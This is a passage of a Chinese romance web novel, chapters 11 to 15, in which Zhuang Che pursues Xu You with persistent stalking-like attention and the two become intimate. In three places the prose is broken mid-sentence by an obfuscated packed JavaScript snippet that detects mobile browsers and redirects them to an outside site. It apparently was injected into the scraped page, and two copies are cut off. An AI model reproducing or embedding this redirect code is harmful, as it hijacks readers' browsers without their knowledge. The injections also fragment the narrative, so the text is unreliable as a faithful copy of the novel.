“许同学，你好，我是在新生周上跟你擦肩而过，对你一见钟情的李亚杰……” 许由的头更痛了，迫于无奈，她将人带到没有人的楼梯间，再一次礼貌地拒绝道：“同学，不好意思，这花你拿回去吧，我不会收的。” 李亚杰：“你是不喜欢玫瑰吗？” 许由：“……” “你无论送我什么我都不会接受的，李同学，我不喜欢你，你不要再把精力浪费在我身上了。” 许由自认为已经说得很清楚明白，可李亚杰却仿佛听不懂：“许同学，我不会放弃追求你，我相信，总有一天，你一定会被我感动的！” 说完，他将那一大束花往许由怀里一塞，三两步跳下楼梯跑了。 许由：“……” 最后，那束花被许由留在了楼梯间，并没有带回教室。许由想，也许会有经过的人喜欢那束花，把它抱走也说不定。 教室里，邱思思早已望眼欲穿，见到许由回来，立刻八卦道：“怎么样怎么样，你跟那男生说了些什么？” 许由趴在桌上，有气无力地回道：“还能说什么，就是些拒绝的话而已。” 邱思思想再问些什么，但教授开始讲课了，只能作罢。 许由和邱思思住的公寓在两个不同的方向，放学后，两人分道扬镳，许由顺路先去市中心的超市买点蛋糕和水果。 超市里，许由再一次“偶遇”了庄彻。 庄彻手里拎着一瓶牛奶过来跟许由打招呼：“好巧，你来这是想买点什么？” 他视线快速从许由身上扫过，又往她推的购物车里看了一眼，许由的购物车里只有几盒甜点，但不知道庄彻看见了什么，脸上的笑意更浓了些。 许由：“就是来买点吃的。” “好吃吗？”庄彻随手拿起一盒巧克力布朗尼问道。 “好吃。” 许由表情真挚，非常认真地给庄彻种草。 “行，那我也买一盒来尝尝。” 之后在自助收银台再次碰见庄彻时，他手里果然就拿着一盒巧克力布朗尼。 庄彻买的东西少，只有一样，因此他付完钱之后，就过来帮着许由一起把她购物车里的东西拿出来扫码装袋。 进到结算页面，许由正准备付钱，庄彻却快她一步，掏出自己的手机，用PayPal替她付了款。 “等一下——” 许由来不及阻止，只能眼睁睁地看着庄彻付款成功，她想了想，对庄彻说：“这钱我用今天的汇率换算成人民币，微信转给你可以吗？” “不用，没多少钱。” 庄彻手机在手上转了一圈，笑容忽然变得狡黠：“你就当我今天心情好，请客。” － 送花事件过去的第二周，李亚杰果然如他所说，并没有因为许由那天的拒绝而放弃追求她。 他等在许由当天要上课的教学楼外，趁着许由没有反应过来，往她怀里塞了一袋包装精美的巧克力，然后转头一溜烟跑走了。 许由低头看着手里的袋子，是Ｙ国当地的一个手工巧克力品牌，还挺贵的，犹豫片刻，她决定将巧克力收好，等下一次见到李亚杰的时候还给他。 许由提着袋子往楼里走，刚走没几步，突然从身后伸过来一只手，轻轻一捞，便把她手里的巧克力给捞走了。 “这是什么？你买的巧克力？” 庄彻一只手指头勾着袋子放在眼前打量，又在许由伸手想要拿回袋子时，故意将袋子举高，让她拿不到：“那天你推荐给我的巧克力布朗尼挺好吃的，我没吃够，这盒巧克力就送给我吃吧，改天还你一盒新的。” “不是，这不是我的，这是——” 然而庄彻却不听她说话，提着袋子大步绕过她，只留给她一个潇洒离去的背影。 许由站在原地，表情十分无奈。 今天是怎么了，为什么所有人都不听她讲话？ 晚上，许由吃完晚饭，和乔心她们在厨房里聊了会天，临近九点才回到房间。 正要换衣服洗漱时，放在桌上的手机突然震动起来，是一个陌生号码。 许由接起。 “你是许由吗？”对方语气焦急，连自我介绍都顾不上做。 许由心头没来由一跳：“嗯，我是。” “我是李亚杰的朋友，你现在能来一趟ＸＸ酒吧吗？” 许由刚要开口拒绝，对面又补上了一句：“庄彻也在。” 等赶到酒吧，见到庄彻和李亚杰后许由才明白，李亚杰的朋友为什么会辗转找上自己。 两人中间的桌子上，除了东倒西歪的酒瓶之外，还放着那盒下午被庄彻抢走的巧克力。 反观李亚杰和庄彻，前者从脸到脖子通红，眼神迷蒙地歪倒在沙发里，显然已经醉了。后者则是好整以暇地坐在沙发里，两条长腿随意地敞着，即使是黑色冲锋衣搭配同色系的休闲裤，也挡不住他身上那股招人的劲。 因此，光线昏暗的酒吧内，许由一眼便看见了他。 庄彻也在第一时间发现了她。 他眼眸幽深，看着许由一步一步朝自己走近，蓦地笑了，这还是两人认识这么久以来，许由第一次主动朝他走过来。 许由在桌边站定，视线从李亚杰，扫过桌上的瓶瓶罐罐，以及那盒打开却没动的巧克力，最后定格在庄彻的脸上。 此刻的庄彻和平日里那个温和有礼的庄彻完全不一样。 他懒洋洋地坐在沙发里，薄薄的眼皮半搭着，目光淡漠，唯 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因为盒子里有一张贺卡，卡片正面写着他对许由的告白，是他昨天晚上写好之后放进去的。 一瞬间，什么都明白了。 但想了想，还是有些气，因此在许由准备开口解释些什么的时候，李亚杰打断她：“但是你可以直接告诉我，没有必要……” “没有必要，用这种方式来羞辱我。” 许由：“……” 场面太过混乱，她有种无从解释的无力感，并且李亚杰似乎误会了她和庄彻的关系。 而造成这一局面的罪魁祸首毫无自知，反而致力于将其弄得再混乱一点—— “她倒是想说，你给她机会了么？”庄彻笑出声。 被醉意浸染了几分的嗓音微哑，带着股吊儿郎当的劲，听上去十分欠揍。 “现在时代不一样了，女生拒绝你不是在害羞，就是不喜欢的意思。” …… 李亚杰的脸色黑了下去，他不再自讨没趣，在朋友的搀扶下跌跌撞撞地离开。 许由没去管李亚杰，深吸一口气，在庄彻对面坐下：“你在做什么？” 庄彻闻言，懒洋洋地冲桌上那些空酒瓶抬了抬下巴：“请他喝酒。” “为什么要这么做？” “钱多，想跟他交个——” “为什么要这么做？”许由忍不住打断庄彻，因为她实在是不想听庄彻敷衍的鬼话。 庄彻轻笑：“我在帮你啊，看不出来吗？” “我不这么做，他还会缠着你，隔三差五地就给你送东西。” 许由：“可这是我自己的事情，跟你没关系。” 庄彻点头，对许由的说法表示赞同：“这确实是你的事。” 但他紧接着又说：“不过我这个人比较热心肠，看见朋友有麻烦，就爱出手帮忙。” 许由突然觉得很累。 大晚上的，被人一通电话叫到酒吧来很累，到了酒吧之后，面对这一桌子的残局也很累。 脑海中某个猜想呼之欲出，但许由已经累到没有力气去揭开那层薄薄的窗户纸，也没有精力继续跟庄彻坐在这里打太极，所以她问： “庄彻，你到底想要干什么？” 庄彻听到后笑着摇头：“不是我‘想’干什么，是我在干什么。可能我之前的方式太含蓄了，你没看出来，我下次换一种。” 他从沙发里缓缓坐起身，不再是那副懒洋洋的姿态，黑色的瞳孔里倒映出许由的脸，情绪仿佛涨潮般，迅速将许由淹没。 他一字一顿地道：“许由，我在追你。” 12. 第 12 章 尽管已经有所预料，但庄彻就这么明明白白地将自己的目的说出来，许由还是愣了会神。 “我们……不合适。” 李亚杰走后，庄彻周身的温度似乎回升了一点，像是猛兽收起了自己的獠牙，他赞同地点头：“我知道。” 许由重复一分钟前庄彻对李亚杰说过的话：“是你说的，拒绝就是不喜欢。” 庄彻无所谓地笑笑：“我知道，但我跟李亚杰不一样。” 许由嘴唇微张。 “你喜不喜欢我，我都不在乎。” 反问的话到嘴边，又被这句话哽住。 庄彻悠悠地给自己倒了杯酒：“我想要的东西，哪怕再难得到，我也有办法得到。” 酒杯轻轻摇晃，冰块在杯中碰撞发出清脆的响声，庄彻的声音极尽温柔，只是说出来的话却带着毫不掩饰的侵略性：“许由，你觉得你会是那个例外吗？” 和许由摊牌之后，庄彻彻底不装了，大方地将自己的本来面貌展现在许由面前。 许由沉默。 她此刻终于发现，用冷漠这个词来形容庄彻不太恰当，他的冷漠是对外的，他不在乎别人对自己的看法，行事只跟随自己的心意，乖张一词套在他身上，或许会更加恰当。 和这样的人讲道理是讲不通的，许由用行动代替回答。 她起身头也不回地离开。 － 许由开始躲着庄彻，一到下课，溜得比邱思思还快。 但庄彻这人就像空气一样，无处不在。 无论是放学时拥挤的人潮，还是冷清的街道，许由无意间的一个抬眸或者转身，总是会猝不及防地跌进那双黑沉如墨的眸子里去。 庄彻好整以暇地看着许由仓皇逃离，然后下一次，继续优哉游哉地踏入她的视线范围之内，等着她发现自己，像是在跟她玩什么猫捉老鼠的游戏。 周四上午的课程结束之后，许由没有回公寓，而是在学校草草解决了午饭，便去下午上课的教学楼内找了个安静的地方待着。 为了躲庄彻，她特意选了二楼自习室最角落的桌子，再加上这些桌子前面和侧面都有挡板，可以很好地挡住她的身型，坐下之后，许由便放心地掏出笔记本电脑，开始整理上午的笔记。 十分钟后，一盒泡芙突然从天而降，落在她笔记本电脑的键盘上。 “你午饭的时候没吃多少，怕你下午饿，专门给你买的。” 高大的黑影压下，雨后青草的气息就跟他的主人一样，强势又霸道地迅速将许由笼罩。 许由在心里默默叹了口气，不得不抬头对上庄彻的视线，给他来了个拒绝三连：“谢谢，我不饿，你自己吃吧。” 庄彻两手交叠虚虚地撑在挡板上，身体前倾，垂眸看着许由：“那就留着下午吃，或者明天早上吃。” 许由把泡芙往庄彻手边递，继续拒绝：“我不吃，你拿回去吧。” 庄彻没接，“善解人意”地点了点头：“是现在不想吃泡芙吗？那你想吃什么？巧克力布朗尼，提拉米苏，还是瑞士卷——” 许由打断庄彻报菜名的行为：“我什么都不吃。” “只要是你买的，我都不会吃的。” 许由的嗓音细腻温柔，像是经常在南方春季时落下的绵绵细雨，打在脸上一点也不疼，很舒服，就算此刻说着无情的话也毫无威慑力，反而给人一种一本正经的可爱感。 庄彻低头笑了：“行，下次我买巧克力布朗尼。” 许由：“……” 她干脆地闭了嘴，将泡芙放在旁边的空桌上，不再跟庄彻这样鸡同鸭讲下去。 庄彻今天中午是打定主意要跟许由耗着了，在许由对面的桌子坐下。 他个子高，挡板能挡住许由的身型，却挡不住他的，他懒洋洋地支着下巴，露出半个脑袋在挡板外，目光直直地盯着许由。 活脱脱一副无赖做派。 许由从来没有觉得半个小时这么长过。 也不是没有想过换个地方坐，但庄彻肯定会跟过去，到时候没了挡板估计会更煎熬，想想还是忍一忍算了。 幸好，庄彻下午第一节似乎也有课，在离上课时间还有十分钟的时候，他终于收拾东西，起身走人。 许由没分给他半点眼神，只是在他走后，看了眼电脑屏幕里还没开始整理的笔记，默默将电脑合上，起身也往教室去了。 那盒泡芙被孤零零地留在桌上。 － Ｙ国进入冬令时后，天黑得越来越早了。 周五下午，许由结束课程走出教学楼，头顶的天幕已经完全被深蓝的夜色笼罩。 她住的公寓和邱思思不在一个方向，两人在教学楼前分开。 从学校回公寓的路有两条，一条很热闹，会经过市中心最为繁华的商业街，另一条则较为安静，道路两旁都是低矮的楼房和枝叶繁茂的树木。 许由以前放学时，通常会走热闹的那条，但她今天却毫不犹豫地选择了安静的那条小路。 因为她怕庄彻会在她常走的那条路上堵她。 下午刚下过雨，地面潮湿一片，歪歪扭扭地倒映着路灯暖黄的光，迎面吹来的风在许由孤零零的脚步声的衬托下，变得格外的萧瑟寂寥。 整条路上别说车了，连人影都看不见一个，路灯照不到的地方一片漆黑，哪怕有人站在那里也无法发现，许由不禁加快了脚步。 没过多久，道路尽头出现了一道高大的身影，是一名外国青年。 许由低头走自己的路，没有过多地去关注那人，可当两人擦肩而过时，许由却听到他用不太友善的语气对着自己说了一句“easygirl”。 许由闻言皱起眉头。 这不是什么好词，其中的歧视和侮辱意味极其浓重，并且，这个词语是某些思想极端的西方人专门用来称呼中国女性的词语。 意思是随便、轻浮的女人。 许由不想惹麻烦，再加上此刻路上除了她和那名青年，再没有其他人，她看看了自己的细胳膊细腿，明智地选择了加快脚步，赶紧离开这里，去到有车辆来往的大路上。 却没想到，她的忍让换来的是对方的变本加厉。 “Hey,easygirl.” 充满鄙视和调侃意味的声音再一次在空旷的街道上响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14263165|151652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起，随之而来是一阵啪啪的踩水声。 那名青年见许由不理他，不仅没有消停，反而还追了上来。 完了。 青年还在身后说了些什么，但许由已经分不出精力去听了，她一边拿出吃奶的劲朝前狂奔，一边在心里后悔，早知道就走那条热闹的大路了，还不如遇上—— 耳边忽地刮过一阵风，很熟悉，不等许由去细想这熟悉感来自于什么，她便听见身后传来一声肉．体砸在石板地面的闷响。 许由停下了脚步，回头。 就看见她原本要躲的人此刻正跨坐在外国青年的身上，一只手揪着他的衣领把他脑袋提起来，另一只手扬起拳头就准备往他脸上砸下。 “庄彻！” 许由愣了两秒，赶紧冲上去抱住庄彻的手臂：“打一下让他知道教训就可以了，他毕竟没真的对我做什么。” 此刻的庄彻没了平日里那种散漫不正经的调调，浑身上下都被戾气包裹着，脸色阴沉得可怕。 他虽然在许由的阻止下停止了动作，但仍死死压制着外国青年，手背青筋暴起，显然没有就这么放过他的打算。 许由抱住庄彻的手臂不放，把他往后拖，声音甚至带上了乞求：“庄彻，别打了，真的别打了，我们快走吧。” 倒在地上的外国青年被庄彻刚才一拳头打蒙，好半天才反应过来，抱着脑袋开始大喊大叫，许由听不清楚他说了些什么，但无外乎是求救或者是对不起之类的。 “庄彻！” 庄彻看了一眼许由，眼中是浓到化不开的戾气，但几秒种后，他还是松开了青年的衣领，用英语对青年骂了一句脏话，然后起身，任由许由拉着自己离开。 直到拐过转角，再也看不到那个外国青年之后，许由才松开了庄彻的手臂。 没有多余的言语，两个人并肩，沿着人行道慢慢往许由的公寓走。 “谢谢你刚才帮我教训那个人。”许由先开口打破沉默。 她心里清楚为什么庄彻会突然出现，不过有些事情该分开还是得分开，庄彻蹲她是一回事，帮助她又是另一回事。 庄彻的情绪似乎还沉浸在刚才的事里没有走出来，许由话中的内容终于不是拒绝他了，可他却只兴致缺缺地应了一声嗯。 许由顿了顿，继续温声道：“其实你人挺好的。” “但我认真想过了，我们两个人不管是性格，还是其他方面，都不太适合做恋人，所以，我们可以——”做朋友。 “不可以。” 许由还以为庄彻没在听自己说话呢，冷不丁被他打断，刚想转头，身前便压下来一道阴影。 庄彻今晚整个人的气压都很低，带着沉甸甸的压迫感，漆黑的眸子直直地盯着人看时，好似在酝酿着一个巨大漩涡，要将其间倒映的人吞没。 他倾身逼近许由，唇角微勾，似笑非笑。 许由身高刚到庄彻肩膀，两人此刻就站在路灯下，暖黄色的光落了庄彻满身，许由却被完完全全地笼罩在庄彻投下的阴影中，周身也被雨后青草的气息强势地包裹。 “许由，我做的一切事情，都不是为了跟你做朋友的。” 13. 第 13 章 周六下午，许由难得地和乔心南瑾书聚在厨房，一边煮奶茶，一边享受着悠闲的下午茶时光。 许由把自己昨晚的经历说了出来，提醒乔心南瑾书以后天黑了就别再走那条僻静小道回公寓。 “你没受伤吧，那人有没有对你动手动脚？”南瑾书听后担忧地看着许由。 许由抱着茶叶罐，抓了一把丢进锅中沸腾的牛奶里：“没有，有个……路人，刚好经过，帮我把那个人骂走了。” 和庄彻有关的部分被许由刻意模糊掉。 昨天晚上回来之后，许由躺在床上想了很久，庄彻对自己那么深的执念到底来源于什么。 喜欢，应该是有一点的，但不多。 更多的，大概是第一次见面时自己不配合他演戏，毫不留情地戳破他的谎言，让他体会到了从未有过的新鲜感，以及被自己一而再再而三地拒绝后，源源不断升起的好胜心在作祟。 当时酒吧里的那个女生，她那么喜欢庄彻，在庄彻面前放低自己的姿态，卑微地求他不要分手，而庄彻却可以拉着明明是第一次见面的自己来当借口，让女生死心。 感情对于庄彻来说，大概是一段关系中，最无关紧要的东西。 许由要的是平淡安稳、双向奔赴的感情，他给不了。 “哎呀，奶茶！” 乔心的惊呼声拉回许由飘忽的思绪，她回神，就看见面前的锅里牛奶冒着泡泡，马上就要扑出来了。 她连忙关火，把锅从电磁炉转移到了饭桌上，然后将一旁的茶罐盖好盖子，放进橱柜里。 南瑾书负责用滤网过滤掉茶叶，乔心则是从冰箱里拿出自己昨晚煮好的西米露，准备一会加进奶茶里。 很快，三杯热气腾腾的奶茶就做好了。 乔心迫不及待地喝一大口，立刻高兴地眯起眼：“这不比外面卖的大几磅的奶茶好喝多了。” 听了乔心的话，许由端起杯子整正准备喝一口，手机突然响了。 她拿起来看，是班上一个中国男生给她发来的消息，问她今天晚上有空没，说是想和她一起讨论一下小组作业，顺便吃个饭。 许由专业有一门课程在上周布置了一个小组作业，四到五人为一组，许由和这个中国男生，以及两个外国人被分到了一组。 大家原定的第一次讨论是在下周一下午上课前，但男生突然将时间提前，许由也没多想，只问男生有没有通知组里其他两名成员。 男生立刻回复她通知了，把晚上吃饭的地点发给她，叮嘱她准时到。 许由昨天晚上一晚上都没有睡好，眼睛底下挂着两个大大的黑眼圈，脸色看上去有些差，于是她喝完奶茶后，便回房间迅速画了一个淡妆，在离约定时间还有半个小时的时候，装上自己的电脑，出门朝约定地点走去。 男生发来的地址是一家位于河边的清吧，这里没有灯红酒绿的氛围和震耳欲聋的音乐，只有舒缓淌过耳边的轻音乐和暖黄的灯光。 许由挺喜欢这里的。 她根据男生发来的消息，进门后左拐，朝着最里侧靠窗的卡座走，远远地便看到一个脑袋懒洋洋地靠在沙发靠背上。 “不是说好的六点吗，你怎么这么早——” 许由脸上客套的笑容在看到庄彻之后僵住，“不好意思，我认错人了。” 她立刻转身想走，庄彻悠悠开口：“你没认错。” “是我让高越约你出来的。” 许由不理他，继续往外走。 庄彻盯着许由毅然决然的后脑勺，无所谓地笑笑，漫不经心的语调听上去十分欠揍：“没关系，反正我有的是办法能约你出来。” 许由停下脚步。 酒吧里此刻除了他们，还有其他几桌的客人正在用餐，这么站在过道里有点显眼，许由无奈地叹了一口气，还是转身走到卡座边，和庄彻面对面地坐下。 “庄彻，我说过了，我们两个不合适。” 许由说话时，庄彻的眼睛一瞬不瞬地盯着她，然后在她说完后开口：“你今天很漂亮。” 许由：“……” 她有种拳头打在棉花上的深深的无力感。 庄彻倒是惯常的闲散姿态，见许由不说话，便将菜单推到她面前：“看看想吃点什么。” “你到底想干什么？”许由再一次问庄彻。 “你别多想，今晚我只是单纯地请你吃顿饭而已。” 许由却不跟庄彻绕圈子了，直接开门见山道：“是不是只有我答应你，你才会停下来？” “你是想跟我玩玩吗？” 庄彻低下头笑，笑了一会后抬起头，收起那副散漫的姿态，坐直身体：“许由，我是在追你啊。” 许由不闪不避地对上庄彻的视线，但她没能从他那双黑眸和笑容里看出其他任何的东西。 许由想，与其这样和庄彻无休止地纠缠下去，自己越是拒绝，就越是勾起他的好胜心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昏暗的小巷里，浓密的树荫遮去大半路灯的光，两人在阴影里纠缠在一起，忘我地亲吻着。只有啧啧水声，和许由偶尔泄出的几声细碎的呜咽。 许由记不清楚那天晚上到底被庄彻亲了多久，只不过她回公寓时，碰巧遇见了去厨房接水的南瑾书，而南瑾书一看见她，便问她晚上吃的是不是火锅。 14. 第 14 章 许由做了许多乱七八糟的梦，无一例外，全都和庄彻有关。 大概是因为除夕夜晚上送自己回来时，他说的那句话的缘故，某些被日常相处模糊掉的细节，再次变得清晰起来。 也让许由回忆起了两人在一起的全过程。 现在想想，不一定非要走到现在这个地步的，也并不是只有在一起这一个解决办法。像庄彻这样被众星捧月惯了的公子哥，自己只要再多晾他一会，说不定哪天他就会觉得没意思离开了。 但那天晚上在酒吧，她却偏偏鬼使神差地答应了庄彻的要求，那是她做的最大胆，也最无所顾忌的一次选择。 在她明知道庄彻对自己不是真心，只是想玩玩的情况下。 包括两人的第一次，也是在许由先默许了的情况下，庄彻才继续下去的。许由不是一个随便的人，在上一段感情仓促地结束之后，她也曾下定过决心，一定要和自己喜欢，也喜欢自己的人谈一段平淡但稳定的感情。 但是她的那些恋爱观在面对庄彻时，好像全都不起作用了。 从梦里醒来时，许由只觉得脑袋昏昏沉沉的，根本不像是睡了一晚上，反倒像是出去嗨了一夜，喝了一整晚的酒似的。 她拿起手机看了一眼时间，早上八点。 许由放下手机，在床上翻了个身，换了一个舒服的姿势躺着。 今天是周六，没课，她准备睡个回笼觉。 刚闭上眼没多久，脑袋旁的手机突然疯狂地震动起来。 是陆雨竹打来的电话。 之前陆雨竹联系许由都是在微信里发消息，这还是她第一次给许由打电话，许由猜测她可能是有什么急事找自己，赶忙接了起来。 “喂，雨竹。” 电话那头传来几声闷闷的呼吸声，没有人说话。 “雨竹？” 许由又问了一次。 “许由……” 陆雨竹终于开口，声音带着浓到化不开的鼻音，她在哭。 许由立刻从床上坐起身，神情变得严肃。 电话那头，陆雨竹像是再也忍不住了一般，放声大哭：“许由，我、我、我真的不知道该找谁，我、想了好久，只有你，只有你了……” 许由赶到陆雨竹公寓时，她的情绪已经平复下来许多，就是两个眼睛肿得跟核桃似的，还包着眼泪，要落不落。 “发生什么事了？” 许由一边问，一边想扶着陆雨竹坐进沙发里，但陆雨竹却突然扑上来紧紧抱住她：“许由，我跟刘恒睿分手了，我今天早上去给他送我包的饺子，他没有接。” 许由感觉自己的肩膀慢慢变得潮湿。 “他说他腻了，说就这样吧，不想再跟我继续下去了。” 怀中的身体开始颤抖。 许由回抱住陆雨竹，没说什么安慰的话，只是默默地陪着她。 许由觉得，陆雨竹在某些方面其实和自己挺像的。 在一段注定没有结局的感情里，她们都非常清醒，清醒地看着自己泥足深陷，等到最后被连根拔起时带着满身的污泥，好不狼狈。 陆雨竹没有哭多久，在许由到之前，她已经痛痛快快地哭了一场，也因为最近刘恒睿冷淡的态度让她隐有预感，只是她没想到竟然来得这么快。 除夕夜包饺子，陆雨竹本来是叫了刘恒睿一起来的，但刘恒睿仅用“没空”这种极其敷衍的借口将她草草打发。 即便如此，陆雨竹也仍想着他，想让他在大年初一吃上自己亲手包的饺子，所以今天早上还不到七点她便起床了，把昨晚特意给他留的那份饺子煮好，兴冲冲地打包好去到刘恒睿的公寓。 刘恒睿却只兴致缺缺地扫了一眼她手里的保温饭盒，而后抬眸平淡地看着她，说：“陆雨竹，我腻了，我们分手吧。” 于是那盒饺子又被陆雨竹原封不动地提了回来。 许由拉着哭得累了的陆雨竹在沙发里坐下，问她：“你吃早饭了吗？” 陆雨竹摇头：“没有。” 然后又抬起红通通的一双眼睛看着许由，语气有些抱歉：“我这么早就给你打电话，你应该也没来得及吃早饭吧。” 许由笑着将陆雨竹眼角的泪痕擦去：“嗯。” “但是你这里刚好有煮好的饺子呀，我们一起吃。” 许由说着将茶几上的保温饭盒打开，里头的饺子还冒着几丝热气。 陆雨竹破涕为笑：“好，我这里还有老干妈的油辣子，你要蘸饺子吃吗，我去给你拿。” 陆雨竹住的是单人套间，吃完早饭后，两个人围坐在茶几旁拼了一会乐高，快到饭点的时候，陆雨竹本来想点中餐外卖，请许由好好吃一顿，感谢她今天早上接到电话后便马不停蹄地赶来安慰自己，但被许由义正言辞地拒绝了。 “你冰箱里有肉吗？我给你做吧。” 陆雨竹立刻摇头拒绝：“你专程赶来安慰我就算了，怎么还能让你给我做饭呢。” “这有什么，”许由托腮歪头，冲陆雨竹眨巴眨巴眼，表情俏皮，语气里带着点诱惑的意思，“我做饭挺好吃的，你不想尝尝吗？” 陆雨竹犹豫两秒钟：“也行，那我来帮你！” 许由准备给陆雨竹做她比较拿手的红烧牛腩。 刚开始的备菜阶段，一切都还有条不紊地进行着，陆雨竹洗菜，许由切菜，虽然形状切得歪歪扭扭，但吃到肚子里都一样。 等到了做菜的阶段，陆雨竹逐渐觉得事情的发展有些不对劲了起来。 “那个，蒜瓣姜片不先炒一下吗？” 陆雨竹眼睁睁地看着许由端着锅，把焯牛肉的水倒掉之后，小手一挥把切好的蒜瓣姜片丢进锅里，来不及阻止。 “炒什么？”许由手刚摸了蒜和姜，有味道，她用手腕将滑落到脸侧的碎发重新别到耳后，“蒜瓣和姜片吗？” “可是它们本来就要跟牛肉一起炖呀，等水烧开炖一会，味道也会出来的。” 陆雨竹：……说的还挺有道理的，她被说服了。 “等一下，豆瓣酱也这么放进去吗？可是豆瓣酱是生的哎……” 许由：“煮一会不就煮熟了吗。” 陆雨竹：这话说的……的确无从反驳。 于是，陆雨竹就看着许由把两人刚才备好的各种菜品一股脑地倒进锅里，美其名曰不能只吃肉，还要吃点其他的菜，才能补充多样的维生素。 就在许由要把土豆和白菜也给倒进去的时候，陆雨竹瞬间将失恋的悲伤抛之脑后，扑上去拦住许由。 “亲爱的，土豆和白菜熟得快，如果现在放下去的话，它俩炖烂了牛肉也还咬不动呢，晚点放吧。” “这样吗？” 许由很听劝，放下盘子：“怪不得我之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也不知道是谁一通电话把人叫出来打台球，结果全程臭着一张脸，只是出去抽根烟的工夫，回来整个人周身散发的那种生人勿进、熟人也勿近的气场就消散得一干二净了。 “心情这么好，你跟许由和好了？” 能让庄彻憋着闷气发不出来的人，除了许由，刘恒睿想不出第二个人了。 之前刘恒睿把许由前男友的事告诉庄彻，就是因为不想看着庄彻在这段感情里越陷越深，到最后把自己给搭进去了。 却没想到起了反作用，庄彻现在越来越黏着许由，只要跟许由在一起，给他打八百个电话都约不出来。 他以前怎么没发现庄彻竟然有做恋爱脑的潜质？ 庄彻闻言摸了摸下巴，正准备呛回去，才发现自己的心情似乎是比刚来的时候要好一些了。 这是什么毛病，许由挂他电话冲他发脾气，反而把他的情绪给发没了？ 认真琢磨了几秒钟，庄彻惊奇地发现，自己好像就乐意去招许由，许由在他面前无论是开心的，惊讶的，还是生气的，只要不是往常那副对什么都是平淡无波的样子，他就会高兴。 庄彻确定了，自己是真的有病。 他懒洋洋地倚着球桌，又摆出那副混不吝的姿态。 “什么叫和好？我们压根就没有吵过架！” 15. 第15章 许由吃完晚饭才从陆雨竹那离开。 在离公寓还有一段距离的时候，许由远远地便看见公寓大门旁的阴影里立着一道熟悉的身影。 直到庄彻走到她面前，带着些许寒意的清冽气息将她包裹，她都还没有反应过来，呆呆地看着眼前人：“你……” 此刻的庄彻笑得春风和煦，和昨天晚上那个沉默寡言，浑身上下都散发着阴沉气息的人判若两人。许由本以为今天下午自己挂了他电话，他会更生气的，但似乎，好像，并没有，反而还在公寓楼下等自己，也不知道等了多久。 想到自己之前挂断他的电话，许由莫名有些内疚，他不会从那个时候就在公寓楼下等着了吧。 见许由一眨不眨地盯着自己看，庄彻心情更好了，抬手轻轻捏了捏她的脸：“在看什么？” 许由脸上没多少肉，但捏起来依旧软软的，庄彻有些爱不释手，许由被捏得皱起眉，从他的魔爪下逃离，揉着被捏红的脸问：“你，你等很久了吗？你找我有什么事？” 庄彻不答反问：“你吃饭了没有？” 许由点头说吃了。 庄彻声音低了些：“可我还没有吃。” …… 许由跟着庄彻去到了一家位于河边的意大利餐厅。 除了主食之外，庄彻还点了几样小吃，最后还给许由点了一份提拉米苏。 “你别给我点，我吃了晚饭的，不饿。”许由见状赶忙小声阻拦道。 庄彻合上菜单：“没关系，你吃不完我吃。” 后来，许由没吃完的半个提拉米苏还真就进了庄彻的肚子。 许由看庄彻吃得津津有味的样子，昨天晚上的不愉快，似乎就这么被轻松揭过了。 走出餐厅，天上突然开始飘起了雨，并且越下越大，丝毫没有要停的趋势。 庄彻把许由裹进自己的外套里，搂着她一路小跑回了离河边比较近的自己的公寓。 一进房间，庄彻先是打开了暖气，然后上楼从衣柜里翻出一件长袖卫衣，拿下去让许由换上。 许由本来是打算问庄彻借把伞就离开的，看到庄彻递衣服过来，她愣了愣，下意识说出口的第一句话是：“我的衣服没有打湿。” 她一路上都被庄彻的外套裹着，头发和衣服都没怎么被雨淋到，还很干爽，反观庄彻是衣服也湿了，头发也湿了，发梢还正在往下滴着水。 但他仍举着衣服站在许由面前：“衣服没湿但是你裤脚湿了，这样穿着不舒服，换上吧。” 许由默了默，抬手接过了衣服。 庄彻的衣服对许由来说基本上都能当裙子穿，这件卫衣也是，下摆刚好能挡住臀．部。 庄彻等许由换好了衣服，才又上楼去把自己一身湿衣服换下，他进到浴室，取下毛巾正准备擦头，动作倏地一顿。 片刻之后，他拿着毛巾下楼，走到正坐在沙发里看手机的许由面前。 “你帮我。” 许由视线从手机屏幕移到庄彻的脸上，表情有点呆，似乎还没反应过来他说了什么。 庄彻起了逗弄的心思，甩了甩毛巾，让毛巾的一角轻轻地在许由脸上扫：“我刚才帮你挡了雨，现在只是让你帮我擦一下头发，不过分吧。” 许由：“……” 她算是知道了什么叫拿人手软，吃人嘴短，再加上庄彻大有一副今晚不帮他擦头发，他就在这里跟自己耗一晚上的架势，许由乖乖接过毛巾。 庄彻在许由身旁坐下，但他仍比许由高出一大截，许由只得站起来给他擦。 擦着擦着，事情就开始朝着不受控制的方向飞速发展起来，庄彻的脑袋钻进了卫衣里。 他头发还是湿的，冰冰凉凉地从皮肤上划过，滚烫和冰冷交织，激得许由一阵颤栗。 庄彻的手在许由后背慢慢摸索，顺着脊椎的凸起，一点一点往上。 很轻的一声衣物摩擦声，最后一道束缚终于被解开。 许由咬住嘴唇，努力不让自己发出声音，脑袋止不住后仰，全靠庄彻的手在背后掌着才能站稳。 